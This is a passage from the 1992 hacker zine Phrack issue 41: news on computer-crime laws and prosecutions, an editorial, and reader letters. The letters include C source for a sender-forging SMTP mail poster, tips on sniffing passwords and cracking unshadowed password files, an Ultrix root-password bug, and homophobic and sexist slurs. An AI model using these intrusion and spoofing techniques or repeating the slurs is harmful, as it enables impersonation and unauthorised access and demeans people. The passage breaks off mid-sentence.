By Oscar Kneppers (ComputerWorld Netherland)

HAARLEM, the Netherlands ‑‑ Dutch hackers will be seriously reprimanded for breaking and entering computer systems, if a new law on computer crime is passed in the Netherlands.

Discussed recently in Dutch parliament and under preparation for more than two years, the proposed law calls hacking "a crime against property." It is expected to be made official in next spring at the earliest and will consist of the following three parts:

‑ The maximum penalty for hackers who log on to a secured computer system would be six months' imprisonment.

‑ If they alter data in the system, they could spend up to four years in prison.

‑ Those who illegally access a computer system that serves a "common use" ‑like that in a hospital or like a municipal population database ‑‑ could soon risk a prison sentence of six years.

This pending law does not differentiate between computer crimes committed internally or externally from an office. For example, cracking the password of a colleague could lead to prosecution.

Hackers believe this law will only provoke computer crime, because the hackers themselves will no longer offer "cheap warnings" to a computer system with poor security.

Rop Gonggrijp, who is sometimes called the King of Hacking Holland, and is currently editor‑in‑chief of Dutch computer hacker magazine "Hack‑tic" warns that this law could produce unexpected and unwanted results.

"Students who now just look around in systems not knowing that it [this activity] is illegal could then suddenly end up in jail," he said. Gonggrijp equates hacking to a big party, where you walk in uninvited.

Gonggrijp is concerned about the repercussions the new law may have on existing hackers. He said he thinks the current relationship between computer hackers and systems managers in companies is favorable. "[Hackers] break into, for example, an E‑mail system to tell the systems manager that he has to do something about the security. If this law is introduced, they will be more careful with that [move]. The cheap warning for failures in the system will, therefore, no longer take place, and you increase chances for so‑called real criminals with dubious intentions," he added.

According to a spokesman at the Ministry of Justice in The Hague, the law gives the Dutch police and justice system a legal hold on hackers that they currently lack.

"Computer criminals [now] have to be prosecuted via subtle legal tricks and roundabout routes. A lot of legal creativity was [previously] needed. But when this law is introduced, arresting the hackers will be much easier," he said.

The Dutch intelligence agency Centrale Recherche Informatiedienst (CRI) in The Hague agreed with this. Ernst Moeskes, CRI spokesman, said, "It's good to see that we can handle computer crime in a directed way now."

________________________________________

PWN Quicknotes

~~~~~~~~~~~~~~

1. Printer Avoids Jail In Anti‑Hacking Trial (By Melvyn Howe, Press Association Newsfile, June 9, 1992) ‑‑ A printer avoided a jail sentence in Britain's first trial under anti‑hacking legislation. Freelance typesetter Richard Goulden helped put his employers out of business with a pirate computer program ‑‑ because he said they owed him L2,275 in back pay. Goulden, 35, of Colham Avenue, Yiewsley, west London, was conditionally discharged for two years after changing his plea to guilty on the second day of the Southwark Crown Court hearing. He was ordered to pay L1,200 prosecution costs and L1,250 compensation to the company's liquidators. Goulden had originally denied the charge of unauthorized modification of computer material under the 1990 Computer Misuse Act. After his change of plea Judge John Hunter told him: "I think it was plain at a very early stage of these proceedings that you had no defence to this allegation." Mr. Warwick McKinnon, prosecuting, told the jury Goulden added a program to a computer belonging to Ampersand Typesetters, of Camden, north‑west London, in June last year which prevented the retrieval of information without a special password. Three months later the company "folded". Mr Jonathan Seitler, defending, said Goulden had changed his plea after realizing he had inadvertently broken the law.

________________________________________

2. ICL & GM Hughes In Joint Venture To Combat Computer Hackers (Extel Examiner, June 15, 1992) ‑‑ General Motors Corporation unit, Hughes STX, and ICL have set up a joint venture operation offering ways of combating computer hackers. Hughes STX is part of GM's GM Hughes Electronics Corporation subsidiary. ICL is 80% owned by Fujitsu. Industry sources say the venture could reach $100 million in annual sales within four years.

________________________________________

3. Another Cornell Indictment (Ithaca Journal, June 17, 1992) ‑‑ Mark Pilgrim, David Blumenthal, and Randall Swanson ‑‑ all Cornell students ‑‑ have each been charged with 4 felony counts of first‑degree computer tampering, 1 count of second‑degree computer tampering, and 7 counts of second‑degree attempted computer tampering in connection with the release of the MBDF virus to the Internet and to various BBSs.

David Blumenthal has also been charged with two counts of second‑degree forgery and two counts of first‑degree falsifying business records in connection with unauthorized account creation on Cornell's VAX5 system. He was also charged with a further count of second‑degree computer tampering in connection with an incident that occurred in December of 1991.

________________________________________

4. Computer Watchdogs Lead Troopers To Hacker (PR Newswire, July 17, 1992) ‑Olympia, Washington ‑‑ State Patrol detectives served a search warrant at an East Olympia residence Thursday evening, July 16, and confiscated a personal computer system, programs and records, the Washington State Patrol said.

The resident, who was not on the premises when the warrant was served, is suspected of attempts to break into computer files at the Department of Licensing and the State Insurance Commissioner's office.

The "hacker's" attempts triggered computerized security devices which alerted officials someone was attempting to gain access using a telephone modem. Patrol detectives and computer staff monitored the suspect's repeated attempts for several weeks prior to service of the warrant.

Placement of a telephone call by a non‑recognized computer was all that was required to trigger the security alert. The internal security system then stored all attempted input by the unauthorized user for later retrieval and use by law enforcement. Integrity of the state systems was not breached.

The investigation is continuing to determine if several acquaintances may be linked to the break in. Charges are expected to be filed as early as next week in the case.

CONTACT: Sgt. Ron Knapp of the Washington State Patrol, (206)459‑6413

________________________________________

5. UPI reports that the 313 NPA will split to a new 810 NPA effective August 10, 1994.

Oakland, Macomb, Genesee, Lapeer, St. Clair and Sanilac counties as well as small sections of Saginaw, Shiawassee and Livingston counties will go into 810. Wayne, Washtenaw, Monroe, and small parts of Jackson and Lenawee counties will remain in 313. The city of Detroit is in Wayne County and won't change.

41

- Introduction by Dispater

- Phrack Loopback by Mind Mage & Dispater

- Phrack Pro-Phile on Supernigger by Supernigger

- Network Miscellany by The Racketeer

- Pirates Cove by Rambone

- Hacking AT&T System 75 by Scott Simpson

- How To Build a DMS-10 Switch by cavalier

- TTY Spoofing by VaxBuster

- Security Shortcomings of AppleShare Networks by Bobby Zero

- Mall Cop Frequencies by Caligula XXI

- PWN/Part 1 by Datastream Cowboy

- PWN/Part 2 by Datastream Cowboy

- PWN/Part 3 by Datastream Cowboy

Introduction

==Phrack Inc.==

Volume Four, Issue Forty‑One, File 1 of 13

Issue 41 Index

__________

P H R A C K 4 1

December 31, 1992

__________

~ We've Had A Rest, We're Still The Best ~

You've been waiting for this for a while and it's finally here. A lot has happened since the last issue. I guess I should start off with the most important thing as far as the administration of Phrack is concerned: Phrack 41 is the last issue for which I will serve as editor.

Why? Well for one, I was in a motorcycle wreck about a month ago and lost the use of my right arm for a while and, due to the related financial difficulties, I was forced to sell my computers and some other stuff.

Secondly, due to my lack of being a rich boy and having access to a nice machine, I found it necessary to allow others to help me in putting out the past several issues and that has resulted in some things being released that I really wasn't happy with.

However, don't get me wrong. I'm not gonna sit here and dis my friends just because we differ in opinion about some things. I think that the overall quality of the issues has been pretty good and anyone who says it's not can basically suck my dick, because I don't give a fuck about your opinion anyway.

Thirdly, and the most important reason why I am resigning as editor of Phrack, is a general lack of desire on my part. I mean the whole reason I even got involved with doing this was because of hacking ‑‑ partly for curiosity and partly for being able to thumb my nose at the powers that be and other intellectual types that say, "You can't do/learn about that because we don't think blah blah blah." Like I'm supposed to give a fuck what anyone else thinks. The type of public service that I think hackers provide is not showing security holes to whomever has denied their existence, but to merely embarrass the hell out of those so‑called computer security experts and other purveyors of snake oil. This is a service that is truly unappreciated and is what keeps me motivated. ANYWAY...if you wanna hear me rant some more, maybe I'll get to do my own Eleeeeet3 Pro‑Phile in the future. Heh!

But really, since my acquisition of Phrack, my play time has been hampered and consequently, I have started to become bored with it. It was great to meet a lot of cool people and I learned some things. It's now time for me to go back to doing what I like best. For anyone who's interested in corresponding, I'm focusing my time on radio communications, HAM radio, scanning, and cellular telephones. If you are interested in talking about these things to me or whatever, feel free to write me at dispater@stormking.com.

Aside from all that, I feel that Phrack can be better. That's why issue 42 will have a new editor and administrative staff. I'm not saying who, but you may be surprised. NO, it's not KL or TK either.

And with that, I'm saying adios and, as Adam Grant said, "Don't get caught."

Now onto the issue:

In this issue's Loopback, Phrack responds to the numerous letters it has received over the past several months, including the return of Shit Kickin' Jim and a message from Rop, editor of Hack‑Tic.

The Racketeer (Rack of The Hellfire Club) continues his Network Miscellany column with plenty of new information about fake mail.

Phrack Pro‑Phile focuses on one of the hacking community's most mysterious figures: Supernigger. SN was somewhat involved with the infamous DPAK and has some words of wisdom to the eleets and other folks who enjoy boasting about their number of years in "the hacker scene."

DISPATER, Phrack Editor

Editor‑In‑Chief : Dispater

Eleet Founders : Taran King and Knight Lightning

Technical Consultant : Mind Mage

Network Miscellany : The Racketeer [HFC]

News : Datastream Cowboy

Make‑up : Hair Club for Men

Photography : Restricted Data Transmissions Publicity : AT&T, BellSouth, and the United States Secret Service Creative Stimulus : Camel Cool, Jolt Cola, and Taco Bell Other Helpers : Scott Simpson, Zibby, The Weazel, The Fed, El1teZ Everywhere.

"For the record, we're hackers who believe information should be free. All information. The world is full of phunky electronic gadgets and networks and we want to share our information with the hacker community." ‑‑ Restricted Data Transmissions

"They are satisfying their own appetite to know something that is not theirs to know." ‑‑ Assistant District Attorney, Don Ingraham

"The notion that how things work is a big secret is simply wrong." ‑‑ Hacking/Cracking conference on The WELL

‑= Phrack 41 =

Table Of Contents

~~~~~~~~~~~~~~~~~

1. Introduction by Dispater 07K

2. Phrack Loopback by Dispater and Mind Mage 52K

3. Phrack Pro‑Phile on Supernigger 10K

4. Network Miscellany by The Racketeer [HFC] 35K

5. Pirates Cove by Rambone 32K

6 Hacking AT&T System 75 by Scott Simpson 20K

7. How To Build a DMS‑10 Switch by The Cavalier 23K

8. TTY Spoofing by VaxBuster 20K

9. Security Shortcomings of AppleShare Networks by Bobby Zero 16K

10. Mall Cop Frequencies by Caligula XXI 11K

11. PWN/Part 1 by Datastream Cowboy 46K

12. PWN/Part 2 by Datastream Cowboy 49K

13. PWN/Part 3 by Datastream Cowboy 43K

Total: 364K

There is no America.

There is no democracy. There is only IBM and ITT and AT&T.

‑‑ Consolidated

Phrack Loopback

==Phrack Inc.==

Volume Four, Issue Forty‑One, File 2 of 13

[‑=:< Phrack Loopback >:=‑]

By Dispater & Mind Mage

Phrack Loopback is a forum for you, the reader, to ask questions, air problems, and talk about what ever topic you would like to discuss. This is also the place Phrack Staff will make suggestions to you by reviewing various items of note; books, magazines, software, catalogs, hardware, etc.

In this issue:

Comments on Phrack 40 : Rop Gonggrijp Fine Art of Telephony (re: Phrack 40) : Inhuman Question & Comment (BT Tymnet/AS400) : Otto Synch BT Tymnet article in Phrack 40 : Anonymous

Phrack fraud? : Doctor Pizz

Remarks & Warning! : Synaps/Clone1/Feyd

One Ron Hults (re: Phrack 38 Loopback) : Ken Martin Hacking In Czecho‑Slovakia : Stalker Phrack 40 is Sexist! : Ground Zero Phrack 40 is Sexist!? (PC Phrack) : Shit Kickin' Jim Misunderstood Hackers Get No Respect : The Cruiser Hackers Should Land In Jail, Not In Press : Alan Falk Anonymous Usenet Posting? : Anonymous Anonymous Mail Poster : Sir Hackalot Phrack On The Move : Andy Panda‑Bear Computer Underground Publications Index : Amadeus Pirates v. AT&T: Posters : Legacy Irreverent

Ultrix 4.2 Bug : Krynn

PumpCon Hosed : Phil "The Outlander"

2600 Meeting Disrupted by Law Enforcement : Emmanuel Goldstein Two New Hardcovers : Alan J. Rothman

________________________________________

Letters to the Editors

~~~~~~~~~~~~~~~~~~~~~~

From: rop@hacktic.nl (Rop Gonggrijp) (Editor of Hack‑Tic Magazine) Date: August 14, 1992

Subject: Comments on Phrack 40

My compliments! You've put out one of the best issues to date. If you keep this up I'll have to get jealous!

Rop Gonggrijp (rop@hacktic.nl) Dangerous and capable of making fax: +31 20 6900968 considerable trouble.

‑‑‑‑‑‑‑‑‑‑

From: Inhuman (Sysop of Pentavia BBS)

Date: August 18, 1992

Subject: Fine Art of Telephony

I just wanted to let you guys know that the article titled "The Fine Art of Telephony" was one of the best articles I've seen in Phrack in a long time.

I hope to see more information on switching and general telephony in the future.

Thanks,

Inhuman

‑‑‑‑‑‑‑‑‑‑

Date: October 22, 1992

From: Otto Synch

Subject: Question & Comment

Hello,

Reading your (huge) Phrack issue #40, and noticing that you were accepting comments and questions, I decided to post mine. First of all, please forgive the English. I'm French and can't help it :‑)

My comment: When I saw in the index that this issue was dealing with BT Tymnet, I felt very happy because I was looking for such information. And when I read it, I felt really disappointed. Toucan Jones could have reduced his whole article with the following lines:

‑> Find any Tymnet number.

‑> Dial and wait for the "Please log‑in:" prompt.

‑> Log as user "help", no password required.

‑> Capture everything you want, it's free public information.

I must say I was a bit surprised to find this kind of article in a high‑quality magazine such as yours...

My question: I'm currently trying to find out everything about a neat AS/400 I've "found," but I never saw any "hack report" on it. Do you know if there are any available?

OK ‑ Let's see if you answer. We feel somewhat lonely here in the Old Continent...but Phrack is here to keep the challenge up!

Regards,

> Otto Sync <

‑‑‑‑‑‑‑‑‑‑

From: Anonymous

Date: August 19, 1992

Subject: BT Tymnet article in Phrack 40

Dear Phrack Staff,

The BT Tymnet article in the 40th issue of Phrack was totally lame. I hate it when people enter Telenet or Tymnet's information facility and just buffer all the sh*t that's in there. Then they have the audacity to slap their name on the data as if they had made a major network discovery. That's so f*ck*ng lame!

Phrack should make a policy not to accept such lame sh*t for their fine magazine. Is Phrack *that* desperate for articles? Crap like commercial dialup lists is about as lame as posting a few random pages from the front of the white pages. The information is quickly outdated and easily available at any time to anyone. You don't hack this sh*t.

Regards,

Anonymous (anonymous because I don't want to hear any lame flames)

[Editor's Response: We agree that buffering some dialup list is not hacking, however, in this specific case, a decision was made that not everyone had ready access to the information or even knew of its existence. Furthermore and more relevant to why the article appeared in Phrack, an article on Tymnet was appropriate when considering the recent events with the MOD case in New York.

In the future, you may ask that your letter be printed anonymously, but don't send us anonymous mail.]

‑‑‑‑‑‑‑‑‑‑

From: Doctor Pizz

Date: October 12, 1992

Subject: Phrack fraud?

I recently received an ad from someone who was selling the full set of Phrack back issues for $100.00. I do believe that this is a violation of your rights to Phrack, as he is obviously selling your work for profit!

The address I received to order these disks was:

R.E. Jones

21067 Jones‑Mill

Long Beach, MS 39560

It seems he is also selling the set of NIA files for $50, a set of "Hacking Programs" for $40, LOD Tech Journals for $25, and lots of viruses. It sounds like some sort of copyright violation, or fraud, as he is selling public domain stuff for personal profit. At least you should be aware of this. Anyway, I look forward to receiving future volumes of Phrack! Keep up the good work.

Good luck in stopping this guy!

Thank you,

‑‑Doctor Pizz‑‑

[Editor's Note: We look forward to hearing what our Phrack readers think about people selling hardcopies of Phrack for their own personal profit.]

‑‑‑‑‑‑‑‑‑‑

From: Synaps a/k/a Clone1 a/k/a Feyd

Date: September 2, 1992

Subject: Remarks & Warning!

Hi,

I've been a regular reader of Phrack for two years now and I approve fully the way you continue Phrack. It's really a wonderful magazine and if I can help its development in France, I'll do as much as I can! Anyway, this is not really the goal of my letter and excuse me for my English, which isn't very good.

My remarks are about the way you distribute Phrack. Sometimes, I don't receive it fully. I know this is not your fault and I understand that (this net sometimes has some problems!). But I think you could provide a mail server like NETSERV where we could get back issues by mail and just by MAIL (no FTP).

Some people (a lot in France) don't have any access to international FTP and there are no FTP sites in France which have ANY issues of Phrack. I did use some LISTSERV mailers with the send/get facility. Could you install it on your LISTSERV?

My warning is about a "group" (I should say a pseudo‑group) founded by Jean Bernard Condat and called CCCF. In fact, the JBC have spread his name through the net to a lot of people in the Underground. As the Underground place in France is weak (the D.S.T, anti‑hacker staff is very active here and very efficient), people tend to trust JBC. He seems (I said SEEMS) to have a good knowledge in computing, looks kind, and has a lot of resources. The only problem is that he makes some "sting" (as you called it some years ago) operation and uses the information he spied to track hackers. He organized a game last year which was "le prix du chaos" (the amount of chaos) where he asked hackers to prove their capabilities.

It was not the real goal of this challenge. He used all the materials hackers send him to harass some people and now he "plays" with the normal police and the secret police (DST) and installs like a trade between himself and them. It's really scary for the hacking scene in France because a lot of people trust him (even the television which has no basis to prove if he is really a hacker as he claims to be or if he is a hacker‑tracker as he IS!). Journalists take him as a serious source for he says he leads a group of computer enthusiasts.

But we discovered that his group doesn't exist. There is nobody in his group except his brother and some other weird people (2 or 3) whereas he says there is 73 people in his club/group. You should spread this warning to everybody in the underground because we must show that "stings" are not only for USA! I know he already has a database with a lot of information like addresses and other stuff like that about hackers and then he "plays" with those hackers.

Be very careful with this guy. Too many trust him. Now it's time to be "objective" about him and his group!

Thanks a lot and goodbye.

Synaps a/k/a Clone1 a/k/a Feyd

‑‑‑‑‑‑‑‑‑‑

From: Ken Martin <70712.760@compuserve.com>

Date: November 17, 1992

Subject: One Ron Hults...(Phrack 38 Loopback)

Dear Phrack Staff:

This letter is concerning the letter in the Phrack Loopback column (#38, April 20, 1992) written by one Ron Hults. It suggests that all children should be disallowed access to a computer with a modem.

The news release to which it is attached attempts to put an idea in the reader's mind that everything out there (on bulletin boards) is bad. Anyone who can read messages from "satanic cultists, pedophile, and rapists" can also read a typical disclaimer found on most bulletin boards which have adult material and communication areas available to their users, and should be able to tell the SysOp of a BBS how old he/she is.

A child who is intelligent enough to operate a computer and modem should also be able to decide what is appropriate for him/her to read, and should have the sense enough to avoid areas of the BBS that could lead to trouble, and not to give their address and home phone number to the Charles Manson idols. (It is a fact that all adolescents have thoughts about sex; nothing can change that. The operator of a BBS also has the moral responsibility to keep little kids out of the XXX‑Rated GIF downloading area.)

One problem with that is BBSes run by the underground type (hack/phreak, these usually consist of people from 15‑30 years of age). The operators of these let practically anyone into their system, from my experiences. These types of BBSes often have credit card numbers, telephone calling card numbers, access codes to credit reporting services, etc., usually along with text‑file documents about mischievous topics. Mr. Hults makes no mention of these in his letter and press release. It is my belief that these types of systems are the real problem. The kids are fascinated that, all of a sudden, they know how to make explosives and can get lots of anything for free.

I believe that the parents of children should have the sense enough to watch what they are doing. If they don't like the kind of information that they're getting or the kind of messages that they're sending to other users, then that is the time to restrict access to the modem.

I am fifteen years old, and I can say that I have gotten into more than my share of trouble with the law as a result of information that I have obtained from BBSes and public communications services like CompuServe. The computer is a tool, and it always will be. Whether it is put to good use or not depends on its user. I have put my computer/modem to use in positive applications more than destructive ones.

I would like Mr. Hults to think about his little idea of banning children from modem use, and to think about the impact it would have on their education. Many schools use computers/modems in their science and English curriculums for research purposes.

Banning children from telecommunications is like taking away connection to the outside world and all forms of publication whatsoever when one takes a look around a large information service like CompuServe or GEnie, and sees all of the information that a service like this is capable of providing to this nation.

Thanks,

Ken Martin (70712.760@compuserve.com)

a.k.a. Scorpion, The Omega Concern, Dr. Scott

‑‑‑‑‑‑‑‑‑‑

From: Stalker

Date: October 14, 1992

Subject: Hacking In Czecho‑Slovakia

Hi there!

I'm student from Czecho‑Slovakia (for some stupid person who doesn't know, it's in middle Europe). Call me Stalker (if there is other guy with this name, call me what you want). If you think that computers, networks, hacking and other interesting things are not in Eastern Europe, you're WRONG. I won't talk about politicians. They really make me (and other men from computers) sick! I'll tell you what is interesting here right now.

Our university campus is based on two main systems, VMS and ULTRIX. There's VAX 6000, VAX 4000, MicroVAX, VAXStation and some oldtimer machines which run under VMS. As for hacking, there's nothing interesting. You can't do some tricks with /etc/passwd, there's no main bug in utilities and commands. But, as I know, VMS doesn't crypt the packets across the network so you can take some PC and Netwatch (or any other useful software ) and try to see what is interesting on the cable. You can grab anything that you want (usernames, passwords, etc.).

Generally, students hate VMS and love UNIX‑like systems. Other machines are based on ULTRIX. We have DECstations (some 3100, some 5000) and one SM 52‑12 which is something on VAX‑11 :‑(. It is a really slow machine, but it has Internet access! There's many users so you can relatively easily run Crack (excellent program) since passwd is not shadowed. Another useful thing is tftp (see some other Crack issues). There was a machine with enabled tftp, but after one incident, it was disabled.

I would like to tell you more about this incident but sysadmins are still suspecting (they probably read my mail). Maybe after some months in other articles. Now I can tell you that I'm not a real UNIX‑GURU‑HACKER, but the sysadmins thought that I was. Someone (man or girl, who knows) has hacked one (or two) machines on our campus. Administrators thought that I was this mysterious hacker but I am not! He/she is much better than I and my friends. Today no one knows who the hacker is. The administrator had talked to him/her and after some weeks, gave him/her an account. He/she probably had root privileges for some time and maybe has these today. He/she uses a modem to connect. His/her login name is nemo (Jules Verne is a popular hero). I will try to send mail to him/her about Phrack and maybe he/she will write interesting articles about himself.

And some tips. Phrack is very interesting, but there's other interesting official files on cert.org (192.88.209.9) available via anonymous FTP. This is the Computer Emergency Response Team (CERT) FTP server. You can find interesting information here about bugs in actual software, but you will see only which command or utility has the bug, not how to exploit it. If you are smart enough, there's nothing to say.

If you are not, you must read Phrack! :‑)

Bye,

Stalker

‑‑‑‑‑‑‑‑‑‑

From: Ground Zero

Date: August 25, 1992

Subject: Phrack 40 is Sexist!

Hi, just a quick comment about Phrack's account of SummerCon:

I don't think your readers need to know or are really interested in hearing about the fact that Doc Holiday was busy trying to pick up girls or that there were some unbalanced teeny‑boppers there offering themselves to some of the SummerCon participants. Also, as a woman I don't care for your characterizations of females in that file.

I'm not trying to nitpick or be politically correct (I hate PC), I'm just writing because I felt strongly enough about it. Ciao.

Ground Zero (Editor of Activist Times, Inc./ATI)

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

From: Shit Kickin' Jim

Date: September 11, 1992

Subject: Phrack 40 is Sexist!? (PC Phrack)

Listen here woman. I don't know whut yer big fat butt thinks Phrack wuz tryin' to insinuate. Lemme tell yew a thang er two. First of all, Phrack ain't run by some little pip‑squeek faggot ass pansies. Ah mean wut are you sum kinda hOmOsexual? Here's what ah mean. NOW here iz a real story 'bout me and one a my bestest friends: 4x4 Phreaker.

See 4x4 Phreaker come down to Texas fur a little hackin adventure. Even though he lives up there in Yankee‑land, 4x4 Phreaker iz a pretty good ol' boy. Whuddya think real manly hackers do when they get together? Go stop by Radio Shack and buy shrink wrap?

HELL NO! We fuckin' went to Caligula XXI. Fur yew ol' boys that ain't from 'round here er yer a fauygut out there that might be readin this, Caligula XXI specializes in enertainmunt fer gennelmen.

Now, me and 4x4 Phreaker didn't go to hawk at some fat nasty sluts like you might see at your typical Ho‑Ho Con. We went with the purpose in mind of seein a real movie star. Yup Christy Canyon was in the house that night. 4x4 Phreaker and me sat down at a table near the front. At that point I decided that I'd start trollin for babes. Yep that's right I whipped out an American Express Corporate Gold card. And I'll be damned if it weren't 3 minutes later me and 4x4 Phreaker had us 2 new found friends for the evening.

So anywayz, yew can see we treated these two fine ladies real nice and they returned the favor. We even took em to Waffle House the next mornin'. So I dunno where yew git off by callin us sexist. Yer just some Yankee snob big city high horse woman who expects to be a takin care of.

God bless George Bush and his mistress Jennifer whutz her name.

:Shit Kickin' Jim (Madder than a bramer bull fightin a mess of wet hornets)

________________________________________

Misunderstood Hackers Get No Respect August 10, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by The Cruiser (ComputerWorld)(Page 24)(Letters to the Editor)

I just read the replies to Chris Goggans' "Hackers aren't the real enemy" [ComputerWorld, June 29], and I thought I'd address a few of the points brought up. I'm a hacker ‑‑ which means that I'm every system administrator's nightmare.

Hardly. Many hackers are politically aware activists. Besides being fueled by an obsession for mastering technology (I call it a blatant disregard for such), true hackers live and obey a strict moral code.

All this talk about the differences between voyeurism and crime: Please, let's stop comparing information access to breaking into someone's house. The government can seize computers and equipment from suspected hackers, never to return it, without even charging a crime. I will not sit back and let Big Brother control me.

The Cruiser

________________________________________

Hackers Should Land In Jail, Not In Press October 19, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Alan Falk (ComputerWorld)(Page 32)(Letters to the Editor)

The letters you get from avowed hackers seem to glorify the virtues of hacking. I find this very disturbing for a simple reason: It completely ignores the issue of private property.

The computer systems they hack into (pun intended) and the databases they try to access, as well as the data in the databases, are private property.

An analogous argument might be that breaking and entering a jewelry store and taking off with some valuables is really a way of testing the security controls at the jeweler's establishment. They're really just doing it for the excitement and challenge.

Would they promote voyeurism based on the "logic" that "after all, if they didn't want me to look, they'd have pulled the drapes closer together?"

The fact that there's challenge or excitement involved (or even commitment, intellect or whatever) does not change the issue.

I suggest that hackers who gain entry to systems against the wishes of the systems' owners should be treated according to the laws regarding unlawful entry, theft, etc.

Alan Falk

Cupertino, California

________________________________________

Anonymous Usenet Posting?

~~~~~~~~~~~~~~~~~~~~~~~~~

Date: August 19, 1992

From: Anonymous

I've read in Phrack all about the different ways to send fake mail, but do any of the readers (or Mind Mage) know anything about anonymous newsgroup posting?

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Anonymous Mail Poster August 4, 1992

~~~~~~~~~~~~~~~~~~~~~

by Sir Hackalot

Here is some C source to a simple "anonymous" mail poster that I wrote a LONG time ago. It's just one of many pieces of code I never gave to anyone before. You may find it useful. Basically, it will connect to the SMTP port and automate the sending. It will allow for multiple recipients on the "To:" line, and multiple "To:" lines.

From: sirh@sirh.com

‑‑‑‑‑‑ Cut here for fm.c ‑‑‑‑‑

#include <stdio.h>

#include <string.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netdb.h>

#include <netinet/in.h>

#include <arpa/inet.h>

#include <signal.h>

#include <fcntl.h>

#include <errno.h>

int openSock(name,port)

char *name;

int port;

{

int mysock,opt=1;

struct sockaddr_in sin;

struct hostent *he;

he = gethostbyname(name);

if (he == NULL) {

printf("No host found..\n");

exit(0);

}

memcpy((caddr_t)&sin.sin_addr,he‑>h_addr_list[0],he‑>h_length); sin.sin_port = port;

sin.sin_family = AF_INET;

mysock = socket(AF_INET,SOCK_STREAM,0);

opt = connect(mysock,(struct sockaddr *)&sin,sizeof(sin));

return mysock;

}

/* This allows us to have many people on one TO line, seperated by

commas or spaces. */

process(s,d)

int d;

char *s;

{

char *tmp;

char buf[120];

tmp = strtok(s," ,");

while (tmp != NULL) {

sprintf(buf,"RCPT TO: %s\n",tmp); write(d,buf,strlen(buf));

tmp = strtok(NULL," ,");

}

}

getAndSendFrom(fd)

int fd;

{

char from[100];

char outbound[200];

printf("You must should specify a From address now.\nFrom: "); gets(from);

sprintf(outbound,"MAIL FROM: %s\n",from); write(fd,outbound,strlen(outbound));

}

getAndSendTo(fd)

int fd;

{

char addrs[100];

printf("Enter Recipients, with a blank line to end.\n");

addrs[0] = '_';

while (addrs[0] != '\0') {

printf("To: ");

gets(addrs);

process(addrs,fd);

}

}

getAndSendMsg(fd)

int fd;

{

char textline[90];

char outbound[103];

sprintf(textline,"DATA\n"); write(fd,textline,strlen(textline));

printf("You may now enter your message. End with a period\n\n");

printf("[‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑n");

textline[0] = '_';

while (textline[0] != '.') {

gets(textline); sprintf(outbound,"%s\n",textline); write(fd,outbound,strlen(outbound));

}

}

main(argc,argv)

int argc;

char *argv[];

{

char text[200];

int file_d;

/* Get ready to connect to host. */

printf("SMTP Host: ");

gets(text);

/* Connect to standard SMTP port. */

file_d = openSock(text,25);

if (file_d < 0) {

printf("Error connecting to SMTP host.\n"); perror("smtp_connect");

exit(0);

}

printf("\n\n[+ Connected to SMTP host %s +]\n",text);

sleep(1);

getAndSendFrom(file_d);

getAndSendTo(file_d);

getAndSendMsg(file_d);

sprintf(text,"QUIT\n"); write(file_d,text,strlen(text));

/* Here we just print out all the text we got from the SMTP

Host. Since this is a simple program, we didnt need to do anything with it. */

printf("[Session Message dump]:\n"); while(read(file_d,text,78) > 0) printf("%s\n",text);

close(file_d);

}

‑‑‑‑‑ End file fm.c

________________________________________

From: Andy Panda‑Bear

Date: September 25, 1992

Subject: Phrack on the move

To Whom It May Concern:

I love reading your Phrack articles and find them very, very informative as well as helpful. I was wondering in you've ever or plan to put together a compendium of related articles. For instance, you could make a Phrack guide to telephony and include all telephone/telecommunications articles. Perhaps a "Phrack Guide to UNIX" or "Phrack Guide to Internet" could be produced. It could have reprints of past articles along with commentaries by individuals who care to share their knowledge. Anyway it's just something to think about.

Thanks for many megabytes of useful info and keep it coming.

Later,

Andy Panda‑Bear

‑‑‑‑‑‑‑‑‑‑

Computer Underground Publications Index

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Amadeus

I just finished the new edition of the Phrack Index, now called the Computer Underground Publications Index since it now includes the issues of the Legion of Doom Tech Journals and Informatik.

You can get it from ftp.uu.net as /tmp/CUPindex

I have already sent it to da folks at CUD so that they may enter it into their archives.

The CUP has been updated to included all the Phracks up to 40.

C'ya

Amadeus

________________________________________

Pirates v. AT&T: Posters August 8, 1992

~~~~~~~~~~~~~~~~~~~~~~~~

by Legacy Irreverent (legacy@cpu.cyberpnk1.sai.com)

On May 24 1992, two lone Pirates, Legacy of CyberPunk System, and Captain Picard of Holodeck, had finally had enough of AT&T. Together, they traveled to the AT&T Maintenance Facility, just west of Goddard, Kansas, and claimed the property in the name of Pirates and Hackers everywhere. They hoisted the Jolly Roger skull and crossbones high on the AT&T flagpole, where it stayed for 2 days until it was taken down by security.

This event was photographed and videotaped by EGATOBAS Productions, to preserve this landmark in history. And now you can witness the event. For a limited time we are offering a 11" x 17" full color poster of the Jolly Roger Pirate flag flying high over AT&T, with the AT&T logo in plain view, with the caption; "WE CAME, WE SAW, WE CONQUERED." These are $5.50 each and are laminated.

Also available, by request is a 20" x 30" full color photograph, and a cotton T‑shirt with the same full color picture on the front, for $20 each.

If you are interested in purchasing any of the above items, simply send check or money order for the amount to:

CyberPunk System

P.O. Box 771027

Wichita, KS 67277‑1072

A GIF of this is also available from CyberPunk System, 1:291/19, 23:316/0, 72:708/316, 69:2316/0. FREQ magicname PIRATE

Any questions, send them to Legacy@cpu.cyberpnk1.sai.com

________________________________________

Ultrix 4.2 Bug

~~~~~~~~~~~~~~

By Krynn

A bug was discovered in Ultrix 4.2 upgrade version. It involves npasswd, and root. It is quite simple, and a patch/fix is available. Here is a description of the hole:

Sys Admin's username: mradmin

Any user's username : mruser

Okay, mruser has forgotten his password, which isn't good. Mruser goes to mradmin and asks mradmin to change his password to newpass. Mradmin does so.

Mradmin now will su to root, and npasswd mruser. He will enter mruser's new password, newpasswd. It will appear in the /etc/passwd that mruser's password is a "*" (shadowed), and that it has been changed, but it hasn't.

The password changed was root's, meaning root's password is now newuser.

A fix is available via anonymous ftp at:

